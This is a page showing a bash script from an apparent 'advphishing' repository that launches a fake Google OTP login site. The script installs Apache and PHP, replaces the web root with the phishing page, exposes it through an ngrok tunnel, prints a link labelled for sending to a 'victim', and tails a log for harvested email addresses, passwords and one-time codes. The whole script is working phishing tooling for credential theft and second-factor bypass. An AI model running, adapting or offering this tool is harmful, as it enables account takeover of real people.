Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
ignitetch
GitHub Repository: ignitetch/advphishing
Path: blob/master/sites/google-otp/Google-otp.sh
738 views
1
#!/bin/bash
2
3
stop() {
4
5
checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
6
if [[ $checkngrok == *'ngrok'* ]]; then
7
pkill -f -2 ngrok > /dev/null 2>&1
8
killall -2 ngrok > /dev/null 2>&1
9
fi
10
if [[ -e sendlink ]]; then
11
rm -rf sendlink
12
fi
13
14
}
15
16
sleep 2
17
# spinner
18
spinlong ()
19
{
20
bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
21
barlenght=${#bar}
22
i=o
23
while ((i < 100 )); do
24
n=$((i*barlenght / 100 ))
25
printf "\e[00;32m\r[%-${barlenght}s]\e[00m" "${bar:0:n}"
26
((i += RANDOM%5+2))
27
sleep 0.4
28
done
29
}
30
31
32
#clolors
33
white='\e[1;37m'
34
green='\e[0;32m'
35
blue='\e[1;34m'
36
red='\e[1;31m'
37
yellow='\e[1;33m'
38
echo ""
39
echo ""
40
echo ""
41
clear
42
echo -e $yellow " ┌─┐┌─┐┌─┐┌─┐┬ ┌─┐ ┌─┐┌┬┐┌─┐┌┐ ┬ ┬┌─┐┌─┐┌─┐┌─┐ "
43
echo -e $yellow " │ ┬│ ││ ││ ┬│ ├┤───│ │ │ ├─┘├┴┐└┬┘├─┘├─┤└─┐└─┐ "
44
echo -e $red " └─┘└─┘└─┘└─┘┴─┘└─┘ └─┘ ┴ ┴ └─┘ ┴ ┴ ┴ ┴└─┘└─┘ "
45
echo -e $white " ++++++++++++++++ OTP BYPASS ++++++++++++++++++ "
46
47
48
echo ""
49
echo ""
50
echo -e $'\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;32m >> DOWNLOAD REQUIREMENTS >> \e[0m'
51
sleep 2
52
echo""
53
sudo apt-get install apache2
54
apt install php
55
apt install jq
56
apt install tail
57
apt install curl
58
systemctl start apache2
59
apt install xterm
60
apt install gnome-terminal
61
systemctl restart apache2.service
62
mkdir /var
63
mkdir /var/www
64
mkdir /var/www/html
65
mv /var/www/html/* /var/www/
66
rm -rf /var/www/html/*
67
cp -R * /var/www/html/
68
cd ..
69
clear
70
cd /var/www/html/
71
chmod +x *
72
chmod 7777 *
73
sleep 3
74
clear
75
./ngrok http 80 > /dev/null &
76
77
echo ""
78
echo -e $'\e[1;31m[\e[0m\e[1;77m+\e[0m\e[1;33m]\e[0m\e[1;92m >> WAIT FOR NGROK UP !\e[0m'
79
sleep 25
80
echo ""
81
clear
82
./Logo.sh
83
echo ""
84
echo -e $yellow "// [ Send This Link to Victim ] //"
85
echo ""
86
echo -e $white
87
curl -s localhost:4040/api/tunnels | jq -r .tunnels[1].public_url
88
curl -s localhost:4040/api/tunnels | jq -r .tunnels[0].public_url
89
echo ""
90
echo ""
91
echo -e $green "// [ CREDENTIAL ] //"
92
echo ""
93
tail -f log.txt | grep -e "email" -e "password" -e "OTP"
94
95
96
97
;;
98
99
100
101